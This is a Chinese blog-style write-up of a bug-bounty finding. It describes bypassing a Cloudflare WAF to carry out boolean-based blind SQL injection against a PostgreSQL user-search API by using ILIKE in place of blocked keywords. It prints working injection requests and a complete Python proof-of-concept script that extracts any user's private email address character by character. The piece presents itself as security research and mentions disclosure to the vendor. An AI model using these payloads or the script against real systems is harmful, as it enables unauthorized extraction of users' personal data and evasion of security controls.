如何绕过WAF实现SQL注入（非常详细）从零基础入门到精通，收藏这篇就够了

最新推荐文章于 2026-05-10 00:35:58 发布

原创最新推荐文章于 2026-05-10 00:35:58 发布 · 1k 阅读

28 ·

本内容遵循CC 4.0 BY-SA版权协议

GEO检测

标签

#sql #数据库

声明：本文涉及的姿势具有攻击性，仅限安全研究，切勿用于非法用途。否则，后果自负！

开篇：一次“漫不经心”的API探险

话说某位白帽老哥，闲来无事（划掉），在对一个目标站点进行常规的渗透测试时，偶然发现了一个API端点，长得人畜无害：

https://api.test.com/users/public?page=1&search=bug_vs_me

这玩意儿前端看着就是个用户搜索功能，搜bug_vs_me能找到老哥自己，显示个头像、公开用户名啥的，毛都捞不着一根。

但如果手贱搜了 'bug_vs_me，嘿，啥都没有了！正常人可能觉得是输入错误，一笑而过。但对安全老鸟来说，这味道，有点意思！

抽丝剥茧：从蛛丝马迹中嗅出SQL注入的味道

这位白帽老哥立刻打开Burp的历史记录，开始手动伺候这个查询。

file

看到了吧，搜deepak，返回结果妥妥的。

file

再来个骚操作，搜 'OR testing1337，虽然没结果，但是，嘿嘿嘿，SQL报错信息出来了！

这下基本可以断定，SQL注入跑不了了，而且后端大概率是PostgreSQL。

但是！人生最怕的就是这个“但是”！这玩意儿前面架着Cloudflare WAF呢，防护规则那叫一个严丝合缝。SQLMAP上去就是一顿锤，结果全被WAF无情拦截。

原因很简单，SQL注入常用的 IF、OR、AND 等关键字，早就在WAF的黑名单里躺好了。比如，你敢输个 'OR'1'='1，立马给你拉黑！

白帽老哥硬着头皮，花了三个多小时，各种姿势翻遍了，终于找到了突破口，绕过了WAF，提取到了任意用户的邮箱信息。

柳暗花明：ILIKE的“温柔”绕过

这次的SQL注入属于Boolean-Based SQL盲注，说白了就是通过构造不同的查询条件，根据返回结果来判断真假。

老哥仔细研读了PostgreSQL的官方文档，发现了一个叫做 ILIKE 的宝贝，这玩意儿能进行不区分大小写的模式匹配。

于是，一个大胆的想法诞生了：

/users/public?page=1&search={}'+Or+publicusername+ILIKE+'deepak

file

Bingo！成功返回结果！而且还看到了被屏蔽的邮箱地址。

既然如此，何不直接把邮箱搞到手？

GET /users/public?page=1&search={}'OR+publicusername+ILIKE+'deepak'+AND+username+ILIKE+'deepak@gmail.com HTTP/2Host: api.test.com

注意，publicUsername 存的是公开用户名，而 userName 存的可是非公开的邮箱地址！

这条SQL语句的意思是：在数据库里查，有没有 publicusername ILIKE deepak，并且它的 username 是 deepak@gmail.com。如果都为真，就返回数据；否则，啥都没有。

老哥立马把这个情况反馈给了厂商，并且更进一步，展示了如何通过逐个字符匹配，提取完整的邮箱地址：

GET /users/public?page=1&search={}'OR+publicusername+ILIKE+'deepak'+AND+username+ILIKE+'dee HTTP/2Host: api.test.com

搜 'username' （email） 是不是 'dee' 开头，结果为真，返回数据。

GET /users/public?page=1&search={}'OR+publicusername+ILIKE+'deepak'+AND+username+ILIKE+'deex HTTP/2Host: api.test.com

搜 'username' （email） 是不是 'deex' 开头，结果为假，啥都没有。

file

一锤定音：PoC脚本的完美演示

厂商一开始还不承认这是SQL注入，觉得老哥在危言耸听。

没办法，老哥只能祭出杀手锏，写了个PoC脚本，只要输入用户的公开用户名，就能在20秒内把邮箱地址扒个精光。

import requests

# Target configuration
host = "https://api.test.com"
base_path = "/users/public"
charset = "abcdefghijklmnopqrstuvwxyz0123456789@._"
headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "application/json"
}

# Ask user for the public username to test
public_username = input("Enter the public_username to extract email for: ").strip()
email_prefix = ""

def is_valid_email(prefix):
    payload = f"{{}}'OR+publicusername+ILIKE+'{public_username}'+AND+username+ILIKE+'{prefix}"
    url = f"{host}{base_path}?page=1&search={payload}"
    try:
        r = requests.get(url, headers=headers)
        if r.status_code == 200 and '"public":[' in r.text:
            data = r.json()
            if data["status"] == "success" and data["public"]:
                print(f"[+] Valid prefix: {prefix}")
                return True
    except Exception as e:
        print(f"[-] Error: {e}")
    return False

print(f"[*] Starting email extraction for public_username: {public_username}")
while True:
    found = False
    for c in charset:
        attempt = email_prefix + c
        if is_valid_email(attempt):
            email_prefix += c
            found = True
            break
    if not found:
        break

# No more characters matched
print(f"[+] Extracted email: {email_prefix}")

file